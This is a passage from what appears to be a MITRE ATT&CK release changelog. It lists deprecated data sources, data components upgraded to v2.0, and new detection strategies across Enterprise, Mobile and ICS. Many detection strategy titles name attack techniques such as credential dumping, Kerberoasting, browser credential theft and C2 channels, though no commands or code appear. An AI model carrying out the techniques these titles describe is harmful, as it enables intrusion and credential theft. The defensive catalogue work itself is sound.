+* [Windows Registry](/datasources/DS0024) (v1.0) + +### Mobile + +#### Deprecations + +* [Application Vetting](/datasources/DS0041) (v1.0) +* [Command](/datasources/DS0017) (v1.2) +* [Network Traffic](/datasources/DS0029) (v1.2) +* [Process](/datasources/DS0009) (v1.2) +* [Sensor Health](/datasources/DS0013) (v1.1) +* [User Interface](/datasources/DS0042) (v1.0) + +### ICS + +#### Deprecations + +* [Application Log](/datasources/DS0015) (v1.1) +* [Asset](/datasources/DS0039) (v1.0) +* [Command](/datasources/DS0017) (v1.2) +* [Drive](/datasources/DS0016) (v1.0) +* [File](/datasources/DS0022) (v1.1) +* [Firmware](/datasources/DS0001) (v1.0) +* [Logon Session](/datasources/DS0028) (v1.2) +* [Module](/datasources/DS0011) (v1.0) +* [Network Share](/datasources/DS0033) (v1.0) +* [Network Traffic](/datasources/DS0029) (v1.2) +* [Operational Databases](/datasources/DS0040) (v1.0) +* [Process](/datasources/DS0009) (v1.2) +* [Scheduled Job](/datasources/DS0003) (v1.1) +* [Script](/datasources/DS0012) (v1.2) +* [Service](/datasources/DS0019) (v1.1) +* [User Account](/datasources/DS0002) (v1.2) +* [Windows Registry](/datasources/DS0024) (v1.0) + +## Data Components + +### Enterprise + +#### Major Version Changes + +* Active DNS (v1.1→v2.0) +* Active Directory Credential Request (v1.1→v2.0) +* Active Directory Object Access (v1.1→v2.0) +* Active Directory Object Creation (v1.1→v2.0) +* Active Directory Object Deletion (v1.1→v2.0) +* Active Directory Object Modification (v1.1→v2.0) +* Application Log Content (v1.1→v2.0) +* Certificate Registration (v1.1→v2.0) +* Cloud Service Disable (v1.1→v2.0) +* Cloud Service Enumeration (v1.1→v2.0) +* Cloud Service Metadata (v1.1→v2.0) +* Cloud Service Modification (v1.1→v2.0) +* Cloud Storage Access (v1.1→v2.0) +* Cloud Storage Creation (v1.1→v2.0) +* Cloud Storage Deletion (v1.1→v2.0) +* Cloud Storage Enumeration (v1.1→v2.0) +* Cloud Storage Metadata (v1.1→v2.0) +* Cloud Storage Modification (v1.1→v2.0) +* Command Execution (v1.2→v2.0) +* Container Creation (v1.1→v2.0) +* Container Enumeration (v1.1→v2.0) +* Container Start (v1.1→v2.0) +* Domain Registration (v1.1→v2.0) +* Drive Access (v1.1→v2.0) +* Drive Creation (v1.1→v2.0) +* Drive Modification (v1.1→v2.0) +* Driver Load (v1.1→v2.0) +* Driver Metadata (v1.1→v2.0) +* File Access (v1.1→v2.0) +* File Creation (v1.1→v2.0) +* File Deletion (v1.1→v2.0) +* File Metadata (v1.1→v2.0) +* File Modification (v1.1→v2.0) +* Firewall Disable (v1.1→v2.0) +* Firewall Enumeration (v1.1→v2.0) +* Firewall Metadata (v1.1→v2.0) +* Firewall Rule Modification (v1.1→v2.0) +* Firmware Modification (v1.1→v2.0) +* Group Enumeration (v1.1→v2.0) +* Group Metadata (v1.1→v2.0) +* Group Modification (v1.1→v2.0) +* Host Status (v1.1→v2.0) +* Image Creation (v1.1→v2.0) +* Image Deletion (v1.1→v2.0) +* Image Metadata (v1.1→v2.0) +* Image Modification (v1.0→v2.0) +* Instance Creation (v1.1→v2.0) +* Instance Deletion (v1.1→v2.0) +* Instance Enumeration (v1.1→v2.0) +* Instance Metadata (v1.0→v2.0) +* Instance Modification (v1.1→v2.0) +* Instance Start (v1.1→v2.0) +* Instance Stop (v1.1→v2.0) +* Kernel Module Load (v1.1→v2.0) +* Logon Session Creation (v1.2→v2.0) +* Logon Session Metadata (v1.0→v2.0) +* Malware Content (v1.2→v2.0) +* Malware Metadata (v1.1→v2.0) +* Module Load (v1.1→v2.0) +* Named Pipe Metadata (v1.1→v2.0) +* Network Connection Creation (v1.2→v2.0) +* Network Share Access (v1.1→v2.0) +* Network Traffic Content (v1.1→v2.0) +* Network Traffic Flow (v1.1→v2.0) +* OS API Execution (v1.1→v2.0) +* Passive DNS (v1.1→v2.0) +* Pod Creation (v1.1→v2.0) +* Pod Enumeration (v1.1→v2.0) +* Pod Modification (v1.1→v2.0) +* Process Access (v1.1→v2.0) +* Process Creation (v1.2→v2.0) +* Process Metadata (v1.0→v2.0) +* Process Modification (v1.1→v2.0) +* Process Termination (v1.1→v2.0) +* Response Content (v1.1→v2.0) +* Response Metadata (v1.1→v2.0) +* Scheduled Job Creation (v1.1→v2.0) +* Scheduled Job Metadata (v1.0→v2.0) +* Scheduled Job Modification (v1.0→v2.0) +* Script Execution (v1.2→v2.0) +* Service Creation (v1.1→v2.0) +* Service Metadata (v1.0→v2.0) +* Service Modification (v1.1→v2.0) +* Snapshot Creation (v1.1→v2.0) +* Snapshot Deletion (v1.1→v2.0) +* Snapshot Enumeration (v1.1→v2.0) +* Snapshot Metadata (v1.0→v2.0) +* Snapshot Modification (v1.1→v2.0) +* Social Media (v1.1→v2.0) +* User Account Authentication (v1.2→v2.0) +* User Account Creation (v1.1→v2.0) +* User Account Deletion (v1.1→v2.0) +* User Account Metadata (v1.0→v2.0) +* User Account Modification (v1.1→v2.0) +* Volume Creation (v1.1→v2.0) +* Volume Deletion (v1.1→v2.0) +* Volume Enumeration (v1.0→v2.0) +* Volume Metadata (v1.0→v2.0) +* Volume Modification (v1.0→v2.0) +* WMI Creation (v1.1→v2.0) +* Web Credential Creation (v1.0→v2.0) +* Web Credential Usage (v1.0→v2.0) +* Windows Registry Key Access (v1.1→v2.0) +* Windows Registry Key Creation (v1.1→v2.0) +* Windows Registry Key Deletion (v1.1→v2.0) +* Windows Registry Key Modification (v1.1→v2.0) + +### Mobile + +#### Major Version Changes + +* API Calls (v1.0→v2.0) +* Application Assets (v1.0→v2.0) +* Command Execution (v1.2→v2.0) +* Host Status (v1.1→v2.0) +* Network Communication (v1.0→v2.0) +* Network Connection Creation (v1.2→v2.0) +* Network Traffic Content (v1.1→v2.0) +* Network Traffic Flow (v1.1→v2.0) +* OS API Execution (v1.1→v2.0) +* Permissions Request (v1.0→v2.0) +* Permissions Requests (v1.0→v2.0) +* Process Creation (v1.2→v2.0) +* Process Metadata (v1.0→v2.0) +* Process Termination (v1.1→v2.0) +* Protected Configuration (v1.0→v2.0) +* System Notifications (v1.0→v2.0) +* System Settings (v1.0→v2.0) + +### ICS + +#### Major Version Changes + +* Application Log Content (v1.1→v2.0) +* Asset Inventory (v1.0→v2.0) +* Command Execution (v1.2→v2.0) +* Device Alarm (v1.0→v2.0) +* Drive Creation (v1.1→v2.0) +* Drive Modification (v1.1→v2.0) +* File Access (v1.1→v2.0) +* File Creation (v1.1→v2.0) +* File Deletion (v1.1→v2.0) +* File Metadata (v1.1→v2.0) +* File Modification (v1.1→v2.0) +* Firmware Modification (v1.1→v2.0) +* Logon Session Creation (v1.2→v2.0) +* Logon Session Metadata (v1.0→v2.0) +* Module Load (v1.1→v2.0) +* Network Connection Creation (v1.2→v2.0) +* Network Share Access (v1.1→v2.0) +* Network Traffic Content (v1.1→v2.0) +* Network Traffic Flow (v1.1→v2.0) +* OS API Execution (v1.1→v2.0) +* Process Creation (v1.2→v2.0) +* Process History/Live Data (v1.0→v2.0) +* Process Metadata (v1.0→v2.0) +* Process Termination (v1.1→v2.0) +* Process/Event Alarm (v1.0→v2.0) +* Scheduled Job Creation (v1.1→v2.0) +* Scheduled Job Metadata (v1.0→v2.0) +* Scheduled Job Modification (v1.0→v2.0) +* Script Execution (v1.2→v2.0) +* Service Creation (v1.1→v2.0) +* Service Metadata (v1.0→v2.0) +* Service Modification (v1.1→v2.0) +* Software (v1.0→v2.0) +* User Account Authentication (v1.2→v2.0) +* Windows Registry Key Deletion (v1.1→v2.0) +* Windows Registry Key Modification (v1.1→v2.0) + +## Detection Strategies + +### Enterprise + +#### New Detection Strategies + +* [Abuse of Domain Accounts](/detectionstrategies/DET0210) (v1.0) +* [Abuse of Information Repositories for Data Collection](/detectionstrategies/DET0413) (v1.0) +* [Abuse of PowerShell for Arbitrary Execution](/detectionstrategies/DET0455) (v1.0) +* [Account Access Removal via Multi-Platform Audit Correlation](/detectionstrategies/DET0120) (v1.0) +* [Account Manipulation Behavior Chain Detection](/detectionstrategies/DET0096) (v1.0) +* [Application Exhaustion Flood Detection Across Platforms](/detectionstrategies/DET0415) (v1.0) +* [Automated Exfiltration Detection Strategy](/detectionstrategies/DET0397) (v1.0) +* [Automated File and API Collection Detection Across Platforms](/detectionstrategies/DET0186) (v1.0) +* [Backup Software Discovery via CLI, Registry, and Process Inspection (T1518.002)](/detectionstrategies/DET0088) (v1.0) +* [Behavior-Based Registry Modification Detection on Windows](/detectionstrategies/DET0280) (v1.0) +* [Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)](/detectionstrategies/DET0496) (v1.0) +* [Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi](/detectionstrategies/DET0124) (v1.0) +* [Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi](/detectionstrategies/DET0326) (v1.0) +* [Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers](/detectionstrategies/DET0354) (v1.0) +* [Behavior-chain detection for T1134 Access Token Manipulation on Windows](/detectionstrategies/DET0283) (v1.0) +* [Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows](/detectionstrategies/DET0482) (v1.0) +* [Behavior-chain detection for T1134.002 Create Process with Token (Windows)](/detectionstrategies/DET0456) (v1.0) +* [Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)](/detectionstrategies/DET0489) (v1.0) +* [Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)](/detectionstrategies/DET0136) (v1.0) +* [Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS](/detectionstrategies/DET0182) (v1.0) +* [Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes](/detectionstrategies/DET0249) (v1.0) +* [Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows)](/detectionstrategies/DET0556) (v1.0) +* [Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows)](/detectionstrategies/DET0191) (v1.0) +* [Behavior-chain detection strategy for T1127.003 Trusted Developer Utilities Proxy Execution: JamPlus (Windows)](/detectionstrategies/DET0585) (v1.0) +* [Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery](/detectionstrategies/DET0151) (v1.0) +* [Behavior-chain, platform-aware detection strategy for T1125 Video Capture](/detectionstrategies/DET0197) (v1.0) +* [Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows)](/detectionstrategies/DET0172) (v1.0) +* [Behavior-chain, platform-aware detection strategy for T1129 Shared Modules](/detectionstrategies/DET0018) (v1.0) +* [Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching](/detectionstrategies/DET0052) (v1.0) +* [Behavioral Detection Strategy for Exfiltration Over Alternative Protocol](/detectionstrategies/DET0131) (v1.0) +* [Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol](/detectionstrategies/DET0503) (v1.0) +* [Behavioral Detection Strategy for Network Service Discovery Across Platforms](/detectionstrategies/DET0376) (v1.0) +* [Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity](/detectionstrategies/DET0269) (v1.0) +* [Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS](/detectionstrategies/DET0221) (v1.0) +* [Behavioral Detection Strategy for Use Alternate Authentication Material (T1550)](/detectionstrategies/DET0338) (v1.0) +* [Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)](/detectionstrategies/DET0185) (v1.0) +* [Behavioral Detection Strategy for WMI Execution Abuse on Windows](/detectionstrategies/DET0364) (v1.0) +* [Behavioral Detection for Service Stop across Platforms](/detectionstrategies/DET0021) (v1.0) +* [Behavioral Detection for T1490 - Inhibit System Recovery](/detectionstrategies/DET0329) (v1.0) +* [Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing](/detectionstrategies/DET0100) (v1.0) +* [Behavioral Detection of CLI Abuse on Network Devices](/detectionstrategies/DET0142) (v1.0) +* [Behavioral Detection of Cloud Group Enumeration via API and CLI Access](/detectionstrategies/DET0251) (v1.0) +* [Behavioral Detection of Command History Clearing](/detectionstrategies/DET0165) (v1.0) +* [Behavioral Detection of Command and Scripting Interpreter Abuse](/detectionstrategies/DET0516) (v1.0) +* [Behavioral Detection of DLL Injection via Windows API](/detectionstrategies/DET0389) (v1.0) +* [Behavioral Detection of DNS Tunneling and Application Layer Abuse](/detectionstrategies/DET0400) (v1.0) +* [Behavioral Detection of Domain Group Discovery](/detectionstrategies/DET0360) (v1.0) +* [Behavioral Detection of Event Triggered Execution Across Platforms](/detectionstrategies/DET0010) (v1.0) +* [Behavioral Detection of External Website Defacement across Platforms](/detectionstrategies/DET0590) (v1.0) +* [Behavioral Detection of Fallback or Alternate C2 Channels](/detectionstrategies/DET0499) (v1.0) +* [Behavioral Detection of Indicator Removal Across Platforms](/detectionstrategies/DET0184) (v1.0) +* [Behavioral Detection of Input Capture Across Platforms](/detectionstrategies/DET0102) (v1.0) +* [Behavioral Detection of Internet Connection Discovery](/detectionstrategies/DET0357) (v1.0) +* [Behavioral Detection of Keylogging Activity Across Platforms](/detectionstrategies/DET0089) (v1.0) +* [Behavioral Detection of Local Group Enumeration Across OS Platforms](/detectionstrategies/DET0114) (v1.0) +* [Behavioral Detection of Log File Clearing on Linux and macOS](/detectionstrategies/DET0520) (v1.0) +* [Behavioral Detection of Mailbox Data and Log Deletion for Anti-Forensics](/detectionstrategies/DET0266) (v1.0) +* [Behavioral Detection of Malicious Cloud API Scripting](/detectionstrategies/DET0078) (v1.0) +* [Behavioral Detection of Malicious File Deletion](/detectionstrategies/DET0140) (v1.0) +* [Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy](/detectionstrategies/DET0127) (v1.0) +* [Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls](/detectionstrategies/DET0529) (v1.0) +* [Behavioral Detection of Network History and Configuration Tampering](/detectionstrategies/DET0049) (v1.0) +* [Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects](/detectionstrategies/DET0103) (v1.0) +* [Behavioral Detection of Obfuscated Files or Information](/detectionstrategies/DET0378) (v1.0) +* [Behavioral Detection of PE Injection via Remote Memory Mapping](/detectionstrategies/DET0106) (v1.0) +* [Behavioral Detection of Permission Groups Discovery](/detectionstrategies/DET0179) (v1.0) +* [Behavioral Detection of Process Injection Across Platforms](/detectionstrategies/DET0508) (v1.0) +* [Behavioral Detection of Publish/Subscribe Protocol Misuse for C2](/detectionstrategies/DET0002) (v1.0) +* [Behavioral Detection of Remote Cloud Logins via Valid Accounts](/detectionstrategies/DET0008) (v1.0) +* [Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution](/detectionstrategies/DET0596) (v1.0) +* [Behavioral Detection of Spoofed GUI Credential Prompts](/detectionstrategies/DET0521) (v1.0) +* [Behavioral Detection of System Network Configuration Discovery](/detectionstrategies/DET0195) (v1.0) +* [Behavioral Detection of Systemd Timer Abuse for Scheduled Execution](/detectionstrategies/DET0231) (v1.0) +* [Behavioral Detection of T1498 – Network Denial of Service Across Platforms](/detectionstrategies/DET0518) (v1.0) +* [Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching](/detectionstrategies/DET0295) (v1.0) +* [Behavioral Detection of Unauthorized VNC Remote Control Sessions](/detectionstrategies/DET0178) (v1.0) +* [Behavioral Detection of Unix Shell Execution](/detectionstrategies/DET0384) (v1.0) +* [Behavioral Detection of User Discovery via Local and Remote Enumeration](/detectionstrategies/DET0093) (v1.0) +* [Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)](/detectionstrategies/DET0076) (v1.0) +* [Behavioral Detection of Wi-Fi Discovery Activity](/detectionstrategies/DET0464) (v1.0) +* [Behavioral Detection of WinRM-Based Remote Access](/detectionstrategies/DET0477) (v1.0) +* [Behavioral Detection of Windows Command Shell Execution](/detectionstrategies/DET0202) (v1.0) +* [Behavioral detection for Supply Chain Compromise (package/update tamper → install → first-run)](/detectionstrategies/DET0537) (v1.0) +* [Behavior‑chain detection for T1134.003 Make and Impersonate Token (Windows)](/detectionstrategies/DET0498) (v1.0) +* [Boot or Logon Autostart Execution Detection Strategy](/detectionstrategies/DET0274) (v1.0) +* [Boot or Logon Initialization Scripts Detection Strategy](/detectionstrategies/DET0112) (v1.0) +* [Brute Force Authentication Failures with Multi-Platform Log Correlation](/detectionstrategies/DET0463) (v1.0) +* [Clipboard Data Access with Anomalous Context](/detectionstrategies/DET0341) (v1.0) +* [Cloud Account Enumeration via API, CLI, and Scripting Interfaces](/detectionstrategies/DET0386) (v1.0) +* [Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly)](/detectionstrategies/DET0309) (v1.0) +* [Container CLI and API Abuse via Docker/Kubernetes (T1059.013)](/detectionstrategies/DET0083) (v1.0) +* [Credential Access via /etc/passwd and /etc/shadow Parsing](/detectionstrategies/DET0446) (v1.0) +* [Credential Dumping from SAM via Registry Dump and Local File Access](/detectionstrategies/DET0085) (v1.0) +* [Credential Dumping via Sensitive Memory and Registry Access Correlation](/detectionstrategies/DET0234) (v1.0) +* [Credential Stuffing Detection via Reused Breached Credentials Across Services](/detectionstrategies/DET0460) (v1.0) +* [Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering](/detectionstrategies/DET0591) (v1.0) +* [Cross-Platform Behavioral Detection of Python Execution](/detectionstrategies/DET0063) (v1.0) +* [Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse](/detectionstrategies/DET0094) (v1.0) +* [Cross-Platform Detection of Cron Job Abuse for Persistence and Execution](/detectionstrategies/DET0290) (v1.0) +* [Cross-Platform Detection of Data Transfer to Cloud Account](/detectionstrategies/DET0573) (v1.0) +* [Cross-Platform Detection of JavaScript Execution Abuse](/detectionstrategies/DET0264) (v1.0) +* [Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility](/detectionstrategies/DET0333) (v1.0) +* [Cross-host C2 via Removable Media Relay](/detectionstrategies/DET0090) (v1.0) +* [Defacement via File and Web Content Modification Across Platforms](/detectionstrategies/DET0238) (v1.0) +* [Detect ARP Cache Poisoning Across Linux, Windows, and macOS](/detectionstrategies/DET0387) (v1.0) +* [Detect AS-REP Roasting Attempts (T1558.004)](/detectionstrategies/DET0113) (v1.0) +* [Detect Abuse of Component Object Model (T1559.001)](/detectionstrategies/DET0224) (v1.0) +* [Detect Abuse of Container APIs for Credential Access](/detectionstrategies/DET0198) (v1.0) +* [Detect Abuse of Dynamic Data Exchange (T1559.002)](/detectionstrategies/DET0504) (v1.0) +* [Detect Abuse of Inter-Process Communication (T1559)](/detectionstrategies/DET0493) (v1.0) +* [Detect Abuse of Windows Time Providers for Persistence](/detectionstrategies/DET0122) (v1.0) +* [Detect Abuse of XPC Services (T1559.003)](/detectionstrategies/DET0335) (v1.0) +* [Detect Abuse of vSphere Installation Bundles (VIBs) for Persistent Access](/detectionstrategies/DET0535) (v1.0) +* [Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL](/detectionstrategies/DET0381) (v1.0) +* [Detect Access and Parsing of .bash_history Files for Credential Harvesting](/detectionstrategies/DET0385) (v1.0) +* [Detect Access or Search for Unsecured Credentials Across Platforms](/detectionstrategies/DET0412) (v1.0) +* [Detect Access to Cloud Instance Metadata API (IaaS)](/detectionstrategies/DET0001) (v1.0) +* [Detect Access to Unsecured Credential Files Across Platforms](/detectionstrategies/DET0307) (v1.0) +* [Detect Access to macOS Keychain for Credential Theft](/detectionstrategies/DET0396) (v1.0) +* [Detect Active Setup Persistence via StubPath Execution](/detectionstrategies/DET0312) (v1.0) +* [Detect Adversary Deobfuscation or Decoding of Files and Payloads](/detectionstrategies/DET0275) (v1.0) +* [Detect Adversary-in-the-Middle via Network and Configuration Anomalies](/detectionstrategies/DET0296) (v1.0) +* [Detect Archiving and Encryption of Collected Data (T1560)](/detectionstrategies/DET0526) (v1.0) +* [Detect Archiving via Custom Method (T1560.003)](/detectionstrategies/DET0438) (v1.0) +* [Detect Archiving via Library (T1560.002)](/detectionstrategies/DET0268) (v1.0) +* [Detect Archiving via Utility (T1560.001)](/detectionstrategies/DET0298) (v1.0) +* [Detect Bidirectional Web Service C2 Channels via Process & Network Correlation](/detectionstrategies/DET0035) (v1.0) +* [Detect Code Signing Policy Modification (Windows & macOS)](/detectionstrategies/DET0523) (v1.0) +* [Detect Compromise of Host Software Binaries](/detectionstrategies/DET0336) (v1.0) +* [Detect Conditional Access Policy Modification in Identity and Cloud Platforms](/detectionstrategies/DET0030) (v1.0) +* [Detect Credential Discovery via Windows Registry Enumeration](/detectionstrategies/DET0250) (v1.0) +* [Detect Credentials Access from Password Stores](/detectionstrategies/DET0430) (v1.0) +* [Detect DHCP Spoofing Across Linux, Windows, and macOS](/detectionstrategies/DET0468) (v1.0) +* [Detect Default File Association Hijack via Registry & Execution Correlation on Windows](/detectionstrategies/DET0061) (v1.0) +* [Detect Domain Controller Authentication Process Modification (Skeleton Key)](/detectionstrategies/DET0271) (v1.0) +* [Detect Evil Twin Wi-Fi Access Points on Network Devices](/detectionstrategies/DET0379) (v1.0) +* [Detect Excessive or Unauthorized Bandwidth Usage for Botnet, Proxyjacking, or Scanning Purposes](/detectionstrategies/DET0028) (v1.0) +* [Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM](/detectionstrategies/DET0022) (v1.0) +* [Detect Forged Kerberos Golden Tickets (T1558.001)](/detectionstrategies/DET0144) (v1.0) +* [Detect Forged Kerberos Silver Tickets (T1558.002)](/detectionstrategies/DET0241) (v1.0) +* [Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation](/detectionstrategies/DET0288) (v1.0) +* [Detect Hybrid Identity Authentication Process Modification](/detectionstrategies/DET0293) (v1.0) +* [Detect Ingress Tool Transfers via Behavioral Chain](/detectionstrategies/DET0060) (v1.0) +* [Detect Kerberoasting Attempts (T1558.003)](/detectionstrategies/DET0157) (v1.0) +* [Detect Kerberos Ccache File Theft or Abuse (T1558.005)](/detectionstrategies/DET0024) (v1.0) +* [Detect Kerberos Ticket Theft or Forgery (T1558)](/detectionstrategies/DET0522) (v1.0) +* [Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows](/detectionstrategies/DET0462) (v1.0) +* [Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load](/detectionstrategies/DET0207) (v1.0) +* [Detect Local Email Collection via Outlook Data File Access and Command Line Tooling](/detectionstrategies/DET0047) (v1.0) +* [Detect Logon Script Modifications and Execution](/detectionstrategies/DET0072) (v1.0) +* [Detect MFA Modification or Disabling Across Platforms](/detectionstrategies/DET0190) (v1.0) +* [Detect Malicious Modification of Pluggable Authentication Modules (PAM)](/detectionstrategies/DET0454) (v1.0) +* [Detect Malicious Password Filter DLL Registration](/detectionstrategies/DET0472) (v1.0) +* [Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files](/detectionstrategies/DET0257) (v1.0) +* [Detect Modification of Authentication Process via Reversible Encryption](/detectionstrategies/DET0589) (v1.0) +* [Detect Modification of Authentication Processes Across Platforms](/detectionstrategies/DET0104) (v1.0) +* [Detect Modification of Network Device Authentication via Patched System Images](/detectionstrategies/DET0272) (v1.0) +* [Detect Modification of macOS Startup Items](/detectionstrategies/DET0429) (v1.0) +* [Detect Multi-Stage Command and Control Channels](/detectionstrategies/DET0228) (v1.0) +* [Detect Network Logon Script Abuse via Multi-Event Correlation on Windows](/detectionstrategies/DET0367) (v1.0) +* [Detect Network Provider DLL Registration and Credential Capture](/detectionstrategies/DET0580) (v1.0) +* [Detect Obfuscated C2 via Network Traffic Analysis](/detectionstrategies/DET0053) (v1.0) +* [Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks](/detectionstrategies/DET0398) (v1.0) +* [Detect One-Way Web Service Command Channels](/detectionstrategies/DET0581) (v1.0) +* [Detect Persistence via Malicious Office Add-ins](/detectionstrategies/DET0050) (v1.0) +* [Detect Persistence via Malicious Outlook Rules](/detectionstrategies/DET0095) (v1.0) +* [Detect Persistence via Office Template Macro Injection or Registry Hijack](/detectionstrategies/DET0519) (v1.0) +* [Detect Persistence via Office Test Registry DLL Injection](/detectionstrategies/DET0315) (v1.0) +* [Detect Persistence via Outlook Custom Forms Triggered by Malicious Email](/detectionstrategies/DET0029) (v1.0) +* [Detect Persistence via Outlook Home Page Exploitation](/detectionstrategies/DET0177) (v1.0) +* [Detect Registry and Startup Folder Persistence (Windows)](/detectionstrategies/DET0365) (v1.0) +* [Detect Remote Access via USB Hardware (TinyPilot, PiKVM)](/detectionstrategies/DET0159) (v1.0) +* [Detect Remote Email Collection via Abnormal Login and Programmatic Access](/detectionstrategies/DET0048) (v1.0) +* [Detect Screen Capture via Commands and API Calls](/detectionstrategies/DET0346) (v1.0) +* [Detect Screensaver-Based Persistence via Registry and Execution Chains](/detectionstrategies/DET0154) (v1.0) +* [Detect Shell Configuration Modification for Persistence via Event-Triggered Execution](/detectionstrategies/DET0020) (v1.0) +* [Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation](/detectionstrategies/DET0452) (v1.0) +* [Detect Suspicious Access to Browser Credential Stores](/detectionstrategies/DET0037) (v1.0) +* [Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms](/detectionstrategies/DET0549) (v1.0) +* [Detect Suspicious Access to Windows Credential Manager](/detectionstrategies/DET0134) (v1.0) +* [Detect Suspicious Access to securityd Memory for Credential Extraction](/detectionstrategies/DET0057) (v1.0) +* [Detect Suspicious or Malicious Code Signing Abuse](/detectionstrategies/DET0230) (v1.0) +* [Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution](/detectionstrategies/DET0141) (v1.0) +* [Detect Unauthorized Access to Cloud Secrets Management Stores](/detectionstrategies/DET0130) (v1.0) +* [Detect Unauthorized Access to Password Managers](/detectionstrategies/DET0597) (v1.0) +* [Detect Unsecured Credentials Shared in Chat Messages](/detectionstrategies/DET0111) (v1.0) +* [Detect Use of Stolen Web Session Cookies Across Platforms](/detectionstrategies/DET0074) (v1.0) +* [Detect User Activity Based Sandbox Evasion via Input & Artifact Probing](/detectionstrategies/DET0420) (v1.0) +* [Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation](/detectionstrategies/DET0086) (v1.0) +* [Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows](/detectionstrategies/DET0404) (v1.0) +* [Detect XSL Script Abuse via msxsl and wmic](/detectionstrategies/DET0205) (v1.0) +* [Detect abuse of Trusted Relationships (third-party and delegated admin access)](/detectionstrategies/DET0488) (v1.0) +* [Detect abuse of Windows BITS Jobs for download, execution and persistence](/detectionstrategies/DET0098) (v1.0) +* [Detect browser session hijacking via privilege, handle access, and remote thread into browsers](/detectionstrategies/DET0507) (v1.0) +* [Detect disabled Windows event logging](/detectionstrategies/DET0187) (v1.0) +* [Detect malicious IDE extension install/usage and IDE tunneling](/detectionstrategies/DET0561) (v1.0) +* [Detect persistence via reopened application plist modification (macOS)](/detectionstrategies/DET0125) (v1.0) +* [Detect persistent or elevated container services via container runtime or cluster manipulation](/detectionstrategies/DET0473) (v1.0) +* [Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)](/detectionstrategies/DET0225) (v1.0) +* [Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)](/detectionstrategies/DET0069) (v1.0) +* [Detecting .NET COM Registration Abuse via Regsvcs/Regasm](/detectionstrategies/DET0361) (v1.0) +* [Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users](/detectionstrategies/DET0500) (v1.0) +* [Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms](/detectionstrategies/DET0263) (v1.0) +* [Detecting Code Injection via mavinject.exe (App-V Injector)](/detectionstrategies/DET0433) (v1.0) +* [Detecting Downgrade Attacks](/detectionstrategies/DET0350) (v1.0) +* [Detecting Electron Application Abuse for Proxy Execution](/detectionstrategies/DET0025) (v1.0) +* [Detecting Junk Data in C2 Channels via Behavioral Analysis](/detectionstrategies/DET0011) (v1.0) +* [Detecting MMC (.msc) Proxy Execution and Malicious COM Activation](/detectionstrategies/DET0222) (v1.0) +* [Detecting Malicious Browser Extensions Across Platforms](/detectionstrategies/DET0044) (v1.0) +* [Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation](/detectionstrategies/DET0506) (v1.0) +* [Detecting OS Credential Dumping via /proc Filesystem Access on Linux](/detectionstrategies/DET0593) (v1.0) +* [Detecting Odbcconf Proxy Execution of Malicious DLLs](/detectionstrategies/DET0486) (v1.0) +* [Detecting PowerShell Execution via SyncAppvPublishingServer.vbs Proxy Abuse](/detectionstrategies/DET0440) (v1.0) +* [Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation](/detectionstrategies/DET0470) (v1.0) +* [Detecting Remote Script Proxy Execution via PubPrn.vbs](/detectionstrategies/DET0528) (v1.0) +* [Detecting Steganographic Command and Control via File + Network Correlation](/detectionstrategies/DET0235) (v1.0) +* [Detecting Suspicious Access to CRM Data in SaaS Environments](/detectionstrategies/DET0550) (v1.0) +* [Detecting Unauthorized Collection from Messaging Applications in SaaS and Office Environments](/detectionstrategies/DET0567) (v1.0) +* [Detection Strategy for /proc Memory Injection on Linux](/detectionstrategies/DET0541) (v1.0) +* [Detection Strategy for Abuse Elevation Control Mechanism (T1548)](/detectionstrategies/DET0345) (v1.0) +* [Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification](/detectionstrategies/DET0033) (v1.0) +* [Detection Strategy for Addition of Email 